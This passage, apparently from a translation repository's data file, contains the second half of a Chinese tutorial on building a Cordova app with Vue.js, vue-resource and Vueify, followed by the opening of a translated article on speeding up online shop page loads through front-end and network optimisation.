href=\"http://www.michaelviveros.com/\">\n                Michael Viveros\n            </author>\n            ...\n\n# 添加 Vue.js\n\n与所有的 HTML 文件一样，添加 Vue.js CDN 到 **www/index.html** 底部：\n\n    ...\n            <script type=\"text/javascript\" src=\"cordova.js\"></script>\n            <script src=\"http://cdn.jsdelivr.net/vue/1.0.16/vue.js\"></script>\n            <script type=\"text/javascript\" src=\"js/index.js\"></script>\n        </body>\n    </html>\n\n\n\n为了使应用可以访问 Vue.js 库，我们还需要在 www/index.html 文件中把下面代码添加到内容安全协议（CSP） meta 标签的最后：\n\n    ; script-src 'self' http://cdn.jsdelivr.net/vue/1.0.16/vue.js 'unsafe-eval'\n\n内容安全协议的网页允许你创建来自可信来源的白名单，并引导浏览器只执行那些可信来源的操作或资源渲染。这和上面提到的白名单插件不同，因为白名单插件主要用于定义应用允许访问什么链接，而 CSP 拥有定义应用可以执行何种脚本以及应用向哪个 url 提出 http 请求。\n\nCSP `meta` 标签的 `script-src` 部分定义了应用可以执行的脚本。\n\n*   ’self’ - 允许统一来源的脚本，例如 www/js/index.js\n*   [http://cdn.jsdelivr.net/vue/1.0.16/vue.js](http://cdn.jsdelivr.net/vue/1.0.16/vue.js) - 允许 Vue.js 库\n*   ’unsafe-eval’ - 允许不安全的动态代码评估，因为 Vue.js 中有部分代码使用了字符串生成函数\n\nCSP meta 标签看起来应该像这样 \n    \n    <meta http-equiv=\"Content-Security-Policy\" content=\"default-src 'self' data: gap: https://ssl.gstatic.com 'unsafe-eval'; style-src 'self' 'unsafe-inline'; media-src *; script-src 'self' http://cdn.jsdelivr.net/vue/1.0.16/vue.js 'unsafe-eval'\">\n\n\n获得有关 CSP 的更多内容, 查看 [html5rocks](http://www.html5rocks.com/en/tutorials/security/content-security-policy/) 和 [Cordova 文档](https://github.com/apache/cordova-plugin-whitelist/blob/master/README.md#content-security-policy).\n\n使用 Vue.js 替换 **www/index.html** 中 `body` 部分代码显示随机单词并移除一些注释后，**wwww/index.html** 就会像这样\n            \n```           \n<!DOCTYPE html>\n<html>\n    <head>\n        <meta http-equiv=\"Content-Security-Policy\" content=\"default-src 'self' data: gap: https://ssl.gstatic.com 'unsafe-eval'; style-src 'self' 'unsafe-inline'; media-src *; script-src 'self' http://cdn.jsdelivr.net/vue/1.0.16/vue.js 'unsafe-eval'\">\n        <meta name=\"format-detection\" content=\"telephone=no\">\n        <meta name=\"msapplication-tap-highlight\" content=\"no\">\n        <meta name=\"viewport\" content=\"user-scalable=no, initial-scale=1, maximum-scale=1, minimum-scale=1, width=device-width\">\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"css/index.css\">\n        <title>Random Word</title>\n    </head>\n    <body>\n        <div id=\"vue-instance\" class=\"app\">\n            <h1>Random Word</h1>\n            <button id=\"btn-get-random-word\" @click=\"getRandomWord\">Get Random Word</button>\n            <p>{{ randomWord }}</p>\n        </div>\n        <script type=\"text/javascript\" src=\"cordova.js\"></script>\n        <script src=\"http://cdn.jsdelivr.net/vue/1.0.16/vue.js\"></script>\n        <script type=\"text/javascript\" src=\"js/index.js\"></script>\n    </body>\n</html>\n```              \n            \n现在我们将添加一些 JavaScript 来生成随机单词进行展示。\n\n当应用接收到 `deviceready` 事件时，**www/js/index.js** 即可生成改变标签背景色的代码。接收我们简单的随机单词生成器的 `deviceready` 事件后，我们无需做其他多余的事情，不过最好知道你可以用 `bindEvents` 方法在应用运行周期的不同阶段做不同的事情。查看  [Cordova Events](https://cordova.apache.org/docs/en/latest/cordova/events/events.html) 获得更多信息。\n\n\n\n\n我们将在 **www/js/index.js** 添加一个名叫 `setupVue` 方法，它可以创建一个新的 Vue 实例，并装载到随机单词 `div` 。新的 Vue 实例会使用 `getRandomWord` 方法，单击 Get Random Word  按键即可从列表中随机提取单词。我么也需要从 `initialize` 方法中调用 `setupVue`。\n\n    var app = {\n        initialize: function() {\n            this.bindEvents();\n            this.setupVue();\n        },\n        ...\n        setupVue: function() {\n            var vm = new Vue({\n                el: \"#vue-instance\",\n                data: {\n                    randomWord: '',\n                    words: [\n                        'formidable',\n                        'gracious',\n                        'daft',\n                        'mundane',\n                        'onomatopoeia'\n                    ]\n                },\n                methods: {\n                    getRandomWord: function() {\n                        var randomIndex = Math.floor(Math.random() * this.words.length);\n                        this.randomWord = this.words[randomIndex];\n                    }\n                }\n            });\n        }\n    };\n\n    app.initialize();\n\n\n移除掉 `receivedEvent` 里改变标签背景色的代码和一些注释之后， **www/js/index.js** 看上去是这样的： \n\n    var app = {\n        initialize: function() {\n            this.bindEvents();\n            this.setupVue();\n        },\n        bindEvents: function() {\n            document.addEventListener('deviceready', this.onDeviceReady, false);\n        },\n        onDeviceReady: function() {\n            app.receivedEvent('deviceready');\n        },\n        receivedEvent: function(id) {\n            console.log('Received Event: ' + id);\n        },\n        setupVue: function() {\n            var vm = new Vue({\n                el: \"#vue-instance\",\n                data: {\n                    randomWord: '',\n                    words: [\n                        'formidable',\n                        'gracious',\n                        'daft',\n                        'mundane',\n                        'onomatopoeia'\n                    ]\n                },\n                methods: {\n                    getRandomWord: function() {\n                        var randomIndex = Math.floor(Math.random() * this.words.length);\n                        this.randomWord = this.words[randomIndex];\n                    }\n                }\n            });\n        }\n    };\n\n    app.initialize();\n\n创建，连接手机然后运行：\n\n    cordova build android\n    cordova run android\n\n该应用看上去应该像下面这样：\n\n![Random Word App Cordova Vue.js](https://coligo.io/building-a-mobile-app-with-cordova-vuejs/random-word-cordova-vuejs.png)\n\n\n#  vue-resource 发起 HTTP 请求\n\n该应用没有从硬编码的单词列表中提取随机单词，而是从可以生成随机单词的 API 中发起请求的，例如 [Wordnik Random Word API](http://developer.wordnik.com/docs.html#!/words/getRandomWord_get_4) 。\n\n为了能够向随机单词 API 发起请求， 需要在 CSP 元标签最后添加下面代码。\n\n    ; connect-src http://api.wordnik.com:80/v4/words.json/randomWord\n\nThe `connect-src` part of the CSP meta tag defines which origins the app can make http requests to.\nCSP 元标签的 `connect-src` 部分定义了应用发起 HTTP 请求的来源。\n\n该应用可以使用[vue-resource library](https://github.com/vuejs/vue-resource)  发起 HTTP 请求，那样我们就可以添加 vue 源到 CSP 元标签 `script-src` 部分以及添加 vue 源 CDN 。\n\n**index.html** 将变成:\n\n\n```\n<!DOCTYPE html>\n...\n        <meta http-equiv=\"Content-Security-Policy\" content=\"default-src 'self' data: gap: https://ssl.gstatic.com 'unsafe-eval'; style-src 'self' 'unsafe-inline'; media-src *; script-src 'self' http://cdn.jsdelivr.net/vue/1.0.16/vue.js https://cdn.jsdelivr.net/vue.resource/0.7.0/vue-resource.min.js 'unsafe-eval'; connect-src http://api.wordnik.com:80/v4/words.json/randomWord\">\n...\n        <script src=\"http://cdn.jsdelivr.net/vue/1.0.16/vue.js\"></script>\n        <script src=\"https://cdn.jsdelivr.net/vue.resource/0.7.0/vue-resource.min.js\"></script>\n        <script type=\"text/javascript\" src=\"js/index.js\"></script>\n    </body>\n</html>\n```     \n\n为了向随机单词 API 发起 http 请求，我们可使用 vue-resource 当中的 [http service](https://github.com/vuejs/vue-resource/blob/master/docs/http.md) ，这是来自 **www/js/index.js** 里 Vue 实例中的 `getRandomWord` 方法。\n\n    ... \n        setupVue: function() {\n            var vm = new Vue({\n                el: \"#vue-instance\",\n                data: {\n                    randomWord: ''\n                },\n                methods: {\n                    getRandomWord: function() {\n                        this.randomWord = '...';\n                        this.$http.get(\n                            'http://api.wordnik.com:80/v4/words.json/randomWord?api_key=a2a73e7b926c924fad7001ca3111acd55af2ffabf50eb4ae5'\n                        ).then(function (response) {\n                            this.randomWord = response.data.word;\n                        }, function (error) {\n                            alert(error.data);\n                        });\n                    }\n                }\n            });\n        }\n    };\n\n    app.initialize();\n\n创建，连接手机并运行：\n\n    cordova build android\n    cordova run android\n\n应用和之前看起来一样，但是现在它可以从 API 当中获取随机单词了。\n\n# 使用 Vue 组件\n\n[Vueify](https://github.com/vuejs/vueify)  是一个 Vue.js 库，他可以帮你将 UI 变成独立的带有各自 HTML, JavaScript 和 CSS 的组件。这令你的应用更加的模块化，也方便你使用层级方式定义组件。\n\n使用 Vue 组件需要在你的编译系统中添加额外的步骤以合并所有组件。Cordova 通过 [hooks](https://cordova.apache.org/docs/en/latest/guide/appdev/hooks/) 来指定额外的脚本在编译系统的各个部分运行，从而让该过程变得相当简单\n这就是添加 Vue 组件之后目录的样子：\n\n![Cordova Vue.js Directory Structure](https://coligo.io/building-a-mobile-app-with-cordova-vuejs/directory-structure-2.png)\n\n\n创建一个带有随机单词生成器所有代码的组件，命名为 **www/js/random-word.vue** ：\n    \n```\n<template>\n  <div class=\"app\">      \n    <h1>Random Word</h1>\n    <button id=\"btn-get-random-word\" @click=\"getRandomWord\">Get Random Word</button>\n    <p>{{randomWord}}</p>\n  </div>\n</template>\n\n<script>\nexport default {\n  data () {\n    return {\n      randomWord: ''\n    }\n  },\n  methods: {\n    getRandomWord: function() {\n        this.randomWord = '...';\n        this.$http.get(\n            'http://api.wordnik.com:80/v4/words.json/randomWord?api_key=a2a73e7b926c924fad7001ca3111acd55af2ffabf50eb4ae5'\n        ).then(function (response) {\n            this.randomWord = response.data.word;\n        }, function (error) {\n            alert(error.data);\n        });\n    }\n  }\n}\n</script>\n```\n    \n\n\n\n**www/index.html**的 HTML 放入 `template` 标签，而 JavaScript 放入 **random-word.vue**的 `script` 标签\n\n创建一个新的包含随机单词组件的 Vue 实例文件，命名 **www/js/main.js**：\n\n    var Vue = require('vue');\n    var VueResource = require('vue-resource');\n    var RandomWord = require('./random-word.vue');\n\n    Vue.use(VueResource);\n\n    var vm = new Vue({\n      el: 'body',\n      components: {\n        'random-word': RandomWord\n      }\n    });\n\n为了合并组件，我们需要使用 [browserify](http://browserify.org/) 和 vueify 来创建一个 名为 bundle.js 的文件。创建一个新的名为 scripts 的目录，新建 **vueify-build.js** 文件，其中包含了需要合并的随机单词组件的代码。\n\n以前的版本，vueify-build.js 这样的脚本是放在 hooks 目录里的，而 hooks 目录则从 cordova create 这个命令中创建，但是后来这种方式被[废弃了](https://cordova.apache.org/docs/en/latest/guide/appdev/hooks/index.html#via-hooks-directory-deprecated)。所以你可以删除了 hooks 目录并用 scipts 目录代替。\n\n\n**scripts/vueify-build.js** 就会像这样:\n\n    var fs = require('fs');\n    var browserify = require('browserify');\n    var vueify = require('vueify');\n\n    browserify('www/js/main.js')\n      .transform(vueify)\n      .bundle()\n      .pipe(fs.createWriteStream('www/js/bundle.js'))\n\n从前，我们在 **www/index.html** 使用 CDN 来引用 Vue.js 库，但是现在 **www/js/main.js** 用的是 JavaScript 来做。所以我们需要添加一个 **package.json** 文件为 Vue.js 库来定义所有需要的依赖。\n\n    {\n      \"name\": \"random-word\",\n      \"version\": \"1.0.0\",\n      \"description\": \"A mobile app for generating a random word\",\n      \"main\": \"index.js\",\n      \"dependencies\": {\n        \"browserify\": \"~13.0.1\",\n        \"vue\": \"~1.0.24\",\n        \"vue-resource\": \"~0.7.4\",\n        \"vueify\": \"~8.5.4\",\n        \"babel-core\": \"6.9.1\",\n        \"babel-preset-es2015\": \"6.9.0\",\n        \"babel-runtime\": \"6.9.2\",\n        \"babel-plugin-transform-runtime\": \"6.9.0\",\n        \"vue-hot-reload-api\": \"2.0.1\"\n      },\n      \"author\": \"Michael Viveros\",\n      \"license\": \"Apache version 2.0\"\n    }\n\n所有的 label 相关模块，以及 browserify 和 vue-hot-reload-api 由 vueify 使用，参考 [vueify 文档](https://github.com/vuejs/vueify#usage)。\n\n获取定义在 **package.json** 里的所有 node 模块依赖：\n\n    npm install\n\n开发应用其他部分之前，在 **config.xml** 底部添加一个 hook 来告知 Cordova 绑定随机单词组件：\n\n\n    ...\n        <hook type=\"before_compile\" src=\"scripts/vueify-build.js\" />\n    </widget>\n    ```\n调用 scripts/vueify-build.js 将产生合并的组件并放入 www/js/bundle.js 中。\n  \n\n通过向 `random-word` 和 `script` 标签添加指向合并组件的方式向 **www/index.html** 主体添加随机单词组件。\n\n\n```\n...\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"css/index.css\">\n        <title>Random Word</title>\n    </head>\n    <body>\n        <random-word></random-word>\n        <script src=\"js/bundle.js\"></script>\n\n        <script type=\"text/javascript\" src=\"js/index.js\"></script>\n        <script type=\"text/javascript\" src=\"cordova.js\"></script>\n    </body>\n</html>\n```\n\n\n注意到 **www/index.html** 中链接标签定义了应用的 CSS 和 **www/js/random-word.vue** 中的 `div` 。在 CSS 中使用了 \"app\" 类定义。\n\n由于随机单词组件包含生成随机单词的所有代码，我们可以从 **www/js/index.js** 中删除 `setupVue` 方法，就会像这样：\n\n    var app = {\n        initialize: function() {\n            this.bindEvents();\n        },\n        bindEvents: function() {\n            document.addEventListener('deviceready', this.onDeviceReady, false);\n        },\n        onDeviceReady: function() {\n            app.receivedEvent('deviceready');\n        },\n        receivedEvent: function(id) {\n            console.log('Received Event: ' + id);\n        }\n    };\n\n    app.initialize();\n\n创建，连接手机并运行：\n\n    cordova build android\n    cordova run android\n\n应用外观和功能和先前一样，但是我们现在有使用 Vue 组件。\n\n# 总结\n\n全部完成了。\n\nCordova 令使用 web 技术开发移动应用变得超简单。 连接 Cordova 和 Vue.js 也很容易，而且让你充分利用手机应用上 Vue.js 相关的很酷的东西（2套数据绑定，组件……）现在你可以以一套代码使用 HTML, JavaScript 和 CSS 面向多个平台进行开发了。\n\n本教程涵盖：\n\n*   开发一个 Cordova 工程\n*   链接 Cordova 和 Vue.js\n*   Cordova app 通过更新内容安全策略来发出 HTTP 申请  \n*   添加 Hooks 在 Cordova 应用中使用 Vue 组件\n\n\n# 帮助\n\n### Android\n\n安装好 Android SDK 之后，你可以运行下面的命来来打开 Android SDK 管理器。\n\n    /Users/your_username/Library/Android/sdk/tools/android sdk\n\n我安装了下面这些包：\n\n**工具**\n\n*   Android SDK 工具\n*   Android SDK 平台工具\n*   Android SDK 开发工具\n\n**Android 6.0 (API 23)**\n\n\n*   SDK 平台\n*   Intel x86 Atom_64 系统映象\n\n**额外**\n\n*   Intel x86 仿真器加速设备 (HAXM Installer)\n\n### iOS\n\n通过 npm 安装 iOS 依赖的时候我犯了个错误，运行了 OS X El Capitan 10.11，可以运行下面代码来解决：\n\n    sudo npm install -g ios-deploy –unsafe-perm=true\n\n见 [StackOverflow](http://stackoverflow.com/questions/34195673/ios-deploy-fail-to-install-on-mac-os-x-el-capitan-10-11)\n\n\n# 关于作者\n\n\n我的名字叫 Michael Viveros 。今年是我学习软件工程的第五年。我是个充满热情的程序员，难得一见的没准的高尔夫球手和会挖苦人的机智的说笑话的家伙。我正在开发一个高尔夫球跟踪网站，还有个用到 Cordova 和 Vue.js 的移动应用。  你可以在下面的网站看到更多 [michaelviveros.com](http://www.michaelviveros.com/) 。\n\n\n\n"
  },
  {
    "path": "TODO/building-a-shop-with-sub-second-page-loads-lessons-learned.md",
    "content": "> * 原文地址：[Building a Shop with Sub-Second Page Loads: Lessons Learned](https://medium.baqend.com/building-a-shop-with-sub-second-page-loads-lessons-learned-4bb1be3ed07#.svcz7qtdn)\n* 原文作者：[Erik Witt](https://medium.baqend.com/@erik.witt)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[luoyaqifei](http://www.zengmingxia.com)\n* 校对者：[Romeo0906](https://github.com/Romeo0906)，[L9m](https://github.com/L9m)\n\n# 全方位提升网站打开速度：前端、后端、新的技术\n\n\n\n\n\n\n\n\n> 这里是 [**我们**](http://www.baqend.com/) 充分利用对于网络缓存和 NoSQL 系统的研究，做出一个可以容纳几十万通过电视宣传慕名而来的访问者的 [**网上商城**](http://www.thinks.com/) 的故事，以及我们从中学到的一切。\n\n\n\n\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-2.medium.com/max/1200/1*8n8yIaSM7m7VflC3dOGr8g.png)\n\n\n\n\n\n\n\n\n\n\"Shark Tank\"（美国），\"Dragons’ Den\"（英国）或\" Die Höhle der Löwen（DHDL）\"（德国）等电视节目为年轻初创公司供了一次在众多观众前向商业大亨推销自己产品的机会。然而，主要的好处往往不在于评审团提供的战略投资——[只有少数交易会完成](http://www.bloomberg.com/news/articles/2014-07-15/shark-tank-do-two-thirds-of-deals-fall-apart)——而是在电视节目播放期间引发的关注：即使是几分钟的直播也能给网站带来几十万的新用户，同时能够提高几周、几个月甚至永久性的网站基本活跃水平。也就是说，如果网站可以抓住初始负载尖峰，并且不拒绝用户请求……\n\n### 仅仅可用是不够的——延迟是关键！\n\n网上商城的盈利压力特别大，因为他们不只是消遣项目（诸如博客），但通常由于创始人本身有大量投资支持，必须**转化为利润**。很明显，对于商业业务来说，最坏的情况是网站过载，在此期间服务器不得不丢掉部分用户请求甚至可能完全崩溃。这并不像你想象的那样罕见：在 DHDL 的这一季，大约有一半的网上商店在直播现场就无法连接了。并且，保持在线只有一半的租金，因为**用户满意度是强制连接到转化率**，从而直接转化为产生的收入的。\n\n\n\n![](https://cdn-images-2.medium.com/max/800/1*bw_wf7Q8V_nykLwdnTA8wQ.png)\n\n[Source](http://infographicjournal.com/how-page-load-time-can-impact-conversions/)\n\n\n\n关于页面加载时间对客户满意度和转换率的影响，有很多 [研究](https://wpostats.com/tags/conversions/) 支持这种说法。例如，Aberdeen Group 发现，额外延迟的 1 秒会导致页面浏览量减少 11％，转化次数损失 7％。 但你也可以询问 [Google](https://wpostats.com/2015/10/29/google-500ms.html) 或 [Amazon](https://wpostats.com/2015/10/29/amazon-1-percent.html)，他们会告诉你同样的说法。\n\n### 怎样让网站加速\n\n为初创公司 [_Thinks_](https://www.thinks.com/) 搭建的网上商城参与了 DHDL，并在 9 月 6 日播出。我们面临着一个挑战，搭建一个能够承受数十万访客量的网上商店，并且加载时间稳定在 1 秒以内。以下都是我们在这个过程中以及从近些年对数据库和网络的性能研究中学到的。\n\n在现有的 web 应用技术中有三个影响页面加载时间的主要原因，展示如下：\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-2.medium.com/max/800/1*j_z9Rbmp0GLNqr4LwWVCmQ.png)\n\n\n\n\n\n1. **后端处理**：web 服务器需要时间从数据库加载数据和整合网站。\n2. **网络延迟**：每个请求需要时间从客户端传输到服务器，并返回（请求延迟）。当考虑到平均每个网站需要发出超过 [100 个请求](http://httparchive.org/interesting.php) 才能完全加载时，这变得更加重要。\n3. **前端处理**：前端设备需要时间来渲染页面。\n\n为了让我们的网店加速，让我们一一解决这三个瓶颈。\n\n#### 前端性能\n\n影响前端性能最重要的因素是关键呈现路径（[CRP](https://developers.google.com/web/fundamentals/performance/critical-rendering-path/?hl=zh-CN)），它描述了在浏览器中向用户显示页面所需的 5 个必要步骤，如下所示。\n\n\n\n\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-2.medium.com/max/1200/1*1DEuTsfd9RckmywKDTwxGA.tiff)\n\n\n\n关键呈现路径的步骤：\n\n\n\n\n\n\n\n*   **DOM**：当浏览器解析HTML时，它会增量式地生成一个 HTML 标签的树模型，称为 **文档对象模型**（DOM），该模型描述了页面内容。\n*   **CSSOM**：一旦浏览器接收到所有的 CSS，它会生成一个 CSS 中包含的标签和类的树模型，称为 **CSS 对象模型**，在树节点上还附有样式信息。这棵树描述了页面内容是如何设置样式的。\n*   **渲染树**：通过组合 DOM 和 CSSOM，浏览器构造一个渲染树，它包含页面内容以及要应用的样式信息。\n*   **布局**：布局这一步计算屏幕上页面内容的实际位置和大小。\n*   **绘制**：最后一步使用布局信息将实际像素绘制到屏幕上。\n\n单个步骤是相当简单的，使事情变得困难并限制性能的是这些步骤之间的依赖。DOM 和 CSSOM 的构造通常具有最大的性能影响。\n\n这个图表显示了关键呈现路径的步骤，里面包括等待依赖，如箭头所示。\n\n\n\n\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-2.medium.com/max/1200/1*t40GwOqsIbif3WUxKGMRVQ.tiff)\n\n\n\n关系呈现路径中重要的依赖\n\n\n\n\n\n\n\n在加载 CSS 和构造完整的 CSSOM 之前，什么都不能显示给客户端。因此 CSS 被称为是**阻塞渲染**的。\n\nJavaScript（JS）更糟糕，因为它可以访问和更改 DOM 和 CSSOM。 这意味着一旦发现 HTML 中的脚本标记，DOM 构造就会被暂停，并从服务器请求脚本。一旦脚本被加载，只有在所有 CSS 被提取和 CSSOM 被构造以后，它才能被执行。在 CSSOM 构建之后 JS 被执行，在下面的例子中，它可以访问和改变 DOM 以及 CSSOM。只有这样之后，DOM的构造才能进行，并且页面才能显示给客户端。因此 JavaScript 被称为是阻塞解析的。\n\nJavaScript 访问 CSSOM 和更改 DOM 的示例：\n\n    <script>\n       ...\n       var old = elem.style.width;\n       elem.style.width = \"50px\";\n       document.write(\"alter DOM\");\n       ...\n    </script>\n\nJS 甚至会影响更恶劣。例如 [jQuery 插件](https://github.com/jjenzz/jquery.ellipsis) 访问计算后的 HTML 元素的布局信息，然后开始一次又一次地改变 CSSOM，直到实现了所需的布局。因此，在用户将看到白色屏幕以外的任何东西之前，浏览器必须一次又一次地重复地执行 JS、构造渲染树和布局。\n\n有三个优化 CRP 的 [基本概念](https://developers.google.com/web/fundamentals/performance/critical-rendering-path/optimizing-critical-rendering-path)：\n\n1.  **减少关键资源：** 关键资源是页面最初渲染时所需的资源（HTML，CSS，JS 文件）。通过将渲染不滚动时可见的网站部分（称为**首屏**）所需要的 CSS 和 JS **内联**可以大大减少关键资源。接下来的 JS 和 CSS 应该被**异步**加载。无法被异步加载的文件可以**拼接**到一个文件中。\n2.  **最小化字节：** 通过**最小化**和**压缩** CSS，JS 和图像，可以大大减少 CRP 中加载的字节数。\n3.  **缩短 CRP 长度：** CRP 长度是获取所有关键资源所需的与服务器之间的最大连续**往返数**。它可以通过减少关键资源和最小化它们的大小（大文件需要多个往返来获取）来缩短。将 **CSS 放在 HTML 顶部**，以及 **JS 放在 HTML 底部**，可以进一步地缩短它的长度，因为 JS 执行总是会阻塞对 CSS 的抓取、对 CSSOM 和 DOM 的构造。\n\n此外，**浏览器缓存** 是非常有效的，应该在所有的项目中加以使用。它对于这三个优化项都很合适，因为缓存的资源不必先从服务器加载。\n\nCRP 优化的整个主题是相当复杂的，特别是内联、级联和异步加载，它们可能会破坏代码的可重用性。幸运的是，有很多强大的工具，可以为你做好这些优化，这些工具可以被集成到你的构建和部署链里。你的确应该地看看下面的工具……\n\n*   **分析：** [GTmetrix](https://gtmetrix.com/) 用来衡量网页速度，[webpagetest](https://www.webpagetest.org/) 用来分析你的资源，以及 Google 的[PageSpeed Insights](https://developers.google.com/speed/pagespeed/insights/)，为你的网站生成有关如何优化 CRP 的提示。\n*   **内联和优化**：[Critical](https://github.com/addyosmani/critical) 非常适合自动将你的明显位置的 CSS 内联并且异步加载其余 CSS，[processhtml](https://github.com/Wildhoney/gulp-processhtml) 连接你的资源和 [PostCSS](https://github.com/postcss/postcss) 进一步优化 CSS。\n*   **最小化和压缩：** 我们使用 [tiny png](https://tinypng.com/) 来进行图像压缩，[UglifyJs](https://github.com/mishoo/UglifyJS) 和 [cssmin](https://www.npmjs.com/package/cssmin) 来进行最小化，[Google Closure](https://developers.google.com/closure/) 来进行 JS 优化。\n\n有了这些工具只需很小的工作量，你就可以打造一个前端性能极好的网站。这里是 _Thinks_ 商城第一次访问时的页面速度测试：\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-2.medium.com/max/800/1*zRwgmwVleajpoA-Xq4CjhQ.png)\n\n\n\nthinks.com 的 Google 网页速度分数\n\n\n\n有趣的是，PageSpeed Insights 内部唯一的抱怨是，Google 分析的脚本缓存生命周期太短。所以 Google 基本上在抱怨它自己。\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-2.medium.com/max/800/1*ls8OEm_co28ib7ehy189rA.png)\n\n\n\n来自加拿大（GTmetrix）的第一次页面加载，服务器托管在法兰克福（Frankfurt）\n\n\n\n#### 网络性能\n\n网络延迟是页面加载时间最重要的因素，它也是最难优化的。但在我们进行优化之前，让我们看一下对初始的浏览器请求的划分：\n\n\n\n\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-2.medium.com/max/1200/1*Y3uwr-Q8L-OSH3ubXl-HiA.tiff)\n\n\n\n\n\n\n\n\n\n当我们在浏览器中输入 [https://www.thinks.com/](https://www.thinks.com/) 并按下回车键时，浏览器开始使用 **DNS 查找**来识别与域相关联的 IP 地址，这种查找必须对每个单独的域进行。\n\n使用接收到的 IP 地址，浏览器初始化与服务器的 **TCP 连接**。TCP 握手需要 2 次往返（1 次是 [TCP 快速打开](https://en.wikipedia.org/wiki/TCP_Fast_Open)）。使用安全的 **SSL 连接**，TLS 握手需要额外的 2 次往返（1 次是 [TLS False Start](https://blogs.windows.com/msedgedev/2016/06/15/building-a-faster-and-more-secure-web-with-tcp-fast-open-tls-false-start-and-tls-1-3/#BqAGYfpLwoYCtE6i.97) 或 [Session Resumption](https://timtaubert.de/blog/2014/11/the-sad-state-of-server-side-tls-session-resumption-implementations/)）。\n\n在初始连接之后，浏览器发送实际请求并等待数据进入。**第一个字节到达**的时间主要取决于客户端和服务器之间的距离，包括服务器渲染页面所需的时间（包括会话查找、数据库查询和模板渲染等）。\n\n最后一步是在可能的多次往返中**下载资源**（在这种情况下指的是 HTML ）。新连接尤其通常需要很多往返，因为初始拥塞窗口很小。这意味着 TCP 不是从一开始就使用全带宽，而是随着时间的推移而增加带宽（参见 [TCP拥塞控制](https://en.wikipedia.org/wiki/TCP_congestion_control)。下载速度受到慢启动算法的支配，该算法在每次往返的拥塞窗口中将报文段数量加倍，直到丢包发生。在移动网络和 Wifi 网络上丢失数据包因此具有很大的性能影响。\n\n另一件要记住的事是：使用 HTTP/1.1，你只能得到 **6 个并行连接**（如果浏览器仍然遵循原始标准，则连接数为 2）。因此，你最多只能请求 6 个资源并行。\n\n为了对网络性能对于页面速度的重要性有一个直观的认识，你可以查看 [httparchive](http://httparchive.org/interesting.php) ，上面有很多统计数据。例如，网站平均在 100 多个请求中加载大约 2.5 MB的数据。\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-2.medium.com/max/800/1*ycpDPIWtye5aFu7Kdtb5Ew.png)\n\n\n\n[来源](http://httparchive.org/interesting.php#reqTotal)\n\n\n\n所以网站发出了很多小的请求来加载很多资源，但网络带宽一直在增加。物理网络的演进将拯救我们，对吧？嗯，其实并不是……\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-2.medium.com/max/800/1*R1NZ69zvARAdY6fkf2ljng.tiff)\n\n\n\n来自 [High Performance Browser Networking](https://hpbn.co/)，作者为 Ilya Grigorik\n\n\n\n事实证明，将**带宽**增加到 5 Mbps 以上并不真的影响页面加载时间。但减少单个请求的**延迟**会降低网页加载时间。这意味着带宽加倍带来的是相同的加载时间，而减少一半的延迟将给你一半的加载时间。\n\n因此，如果延迟是网络性能的决定因素，我们可以在这上面做些什么呢？\n\n*   **持久连接**是必须有的。没有什么比当你的服务器在每个请求后关闭连接，并且浏览器必须一次又一次地执行握手操作和 TCP 慢启动更糟糕的事情了。\n*   尽可能地**避免重定向**，因为它们会大大减慢你的初始网页加载速度。永远链接完整的网址（例如使用 www.thinks.com 而不是 thinks.com）。\n*   如果可以的话，请使用 **HTTP/2**。它附带**服务器推送**，能为单个请求传输多个资源；**头压缩**来减小请求和响应的大小；并请求**流水线**和**多路复用**通过单个连接发送任意并行请求。使用服务器推送，你的服务器可以发送你的 html ，紧接着推送网站所需的 CSS 和 JS，而无需等待实际请求。\n*   为你的静态资源（CSS，JS，静态图像如 logo）设置显式的**缓存头**。这样，你可以告诉浏览器需要将这些资源缓存多长时间以及何时重新验证。缓存可以节省大量的往返和需要下载的字节。如果没有设置明确的缓存头，浏览器会做 [启发式缓存](http://www.w3.org/Protocols/rfc2616/rfc2616-sec13.html)，这比不缓存好，但远不是最佳。\n\n*   使用**内容分发网络**（CDN）来缓存图像、CSS、JS 和 HTML。这些分布式缓存网络可以显著地减少与用户的距离，从而更快地提供资源。它们还加速了你的初始连接，因为你与附近的 CDN 节点进行 TCP 和 TLS 握手，而这些节点会依次建立热的和持久的后端连接。\n*   建议你使用一个小的初始页来创建**单页应用程序**，这个初始网页会异步地加载其它组件。这样，你可以使用可缓存的 HTML 模板，在小请求中加载动态数据，并在导航（navigation）期间只更新页面的各个部分。\n\n总而言之，当涉及到网络性能时，有一些要做的（do） 和不要做的（don't），但限制因素总是往返次数与物理网络延迟的结合。克服这种限制的唯一有效方法是使数据更接近客户端。最先进的网络缓存状态的确如此，但这仅适用于静态资源。\n\n对于 _Thinks_，我们遵循上述准则，使用 [Fastly](https://www.fastly.com/) CDN 和主动的浏览器缓存，甚至对动态数据使用一种新的 [布隆过滤器算法（Bloom Filter algorithm）](https://medium.baqend.com/bringing-web-performance-to-the-next-level-an-overview-of-baqend-be3521bc2faf#.ajhyivndc) 来使得缓存数据保持一致。\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-2.medium.com/max/800/1*djg5dkELtzm0wQd_sKmoTg.tiff)\n\n\n\n[www.thinks.com](http://www.thinks.com/) 重复加载，来显示浏览器缓存覆盖率\n\n\n\n对于重复网页加载的请求，浏览器缓存没有提供的内容（参见上图）包括：对 Google 分析的 API 的两个异步调用，以及从 CDN 处获取的初始 HTML 请求。因此，对于重复的网页加载，页面能够做到立即加载。\n\n#### 